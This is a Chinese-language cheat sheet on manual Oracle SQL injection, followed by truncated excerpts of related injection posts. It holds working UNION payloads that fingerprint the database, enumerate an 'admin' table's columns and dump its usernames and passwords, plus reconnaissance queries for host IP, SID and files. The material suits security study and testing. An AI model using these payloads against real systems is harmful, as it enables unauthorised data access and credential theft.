oracle database,又名oracle rdbms,或簡稱oracle。是甲骨文公司的一款關聯式資料庫管理系統。
oracle對於mysql、mssql來說意味著更大的資料量,更大的許可權。
oracle注入中需要注意的一些小點:
oracle 在使用union 查詢的跟mysql不一樣mysql裡面我用1,2,3,4就能佔位,而在oracle裡面有比較嚴格的型別要求。也就是說你依舊提交order by 去猜測顯示當前頁面所用的sql查詢了多少個字段,也就是確認查詢字段數。union select
的要和前面的字段型別一樣,我們可以用null來代替站位。oracle和mysql不一樣,分頁中沒有limit,而是使用三層查詢巢狀的方式實現分頁(查詢第一條資料「>=0<=1」) 例如:
爆資料庫版本
' union select null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null from dual --
其他查詢資訊語句:
1 當前使用者許可權 (select * from session_roles)
2 當前資料庫版本 ( select banner from sys.v_$version where rownum=1)
3 伺服器出口ip (用utl_http.request 可以實現)
4 伺服器監聽ip (select utl_inaddr.get_host_address from dual)
5 伺服器作業系統 (select member from v$logfile where rownum=1)
6 伺服器sid (select instance_name from v$instance)
7 當前連線使用者 (select sys_context ('userenv', 'current_user') from dual)
8 當前使用者 (select user from dual)
爆庫名:
爆表:表 一定要是大寫的
查詢第乙個表
爆列查詢 表 admin第乙個列
' union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1),null,null,null,null,null,null from dual --
第二個列
' union select null,(select column_name from user_tab_columns where table_name='admin' and column_name<>'id' and rownum=1),null,null,null,null,null,null from dual --
查詢表admin 第三個列
查詢出來列有id username password
爆資料
' union select null,(select concat(username,password) from admin),null,null,null,null,null,null from dual --
當前使用者:
select user from dual;
列出所有使用者:
select username from all_users order by username;
列出資料庫
select distinct owner from all_tables;
列出表名:
select table_name from all_tables;
select owner, table_name from all_tables;
查詢表所有列
select column_name from all_tab_columns where table_name='admin';
定位檔案
select name from v$datafile;
Oracle報錯注入總結
在oracle注入時候出現了資料庫報錯資訊,可以優先選擇報錯注入,使用報錯的方式將查詢資料的結果帶出到錯誤頁面中。使用報錯注入需要使用類似 1 報錯語句 1 報錯語句 使用比較運算子,這樣的方式進行報錯注入 mysql僅使用函式報錯即可 類似mssql報錯注入的方式。判斷注入 utl inaddr....
mysql union聯合注入
記錄一下聯合查詢常用的手工注入語句,這裡以dvwa為例,聯合查詢頁面必須要有回顯 0x01.判斷是否存在注入點 一般新增單引號檢視是否報錯,或者and 1 1檢視頁面是否正常顯示,and 1 2檢視是否報錯,判斷存在注入。0x02.判斷字段數 注入語句 order by 2 order by 3報錯...
union聯合注入
方式一 首先嘗試id 1 and 1 1 或者id 1 and 1 1 或者1 and 1 1 或者 1 and 1 1 注釋符,假如是id 1 and 1 1 那麼and 1 1 就是我們可控的點 接下來在這個位置進行替換就好 id 1 order by 4 判斷字段個數,從order by 1 ...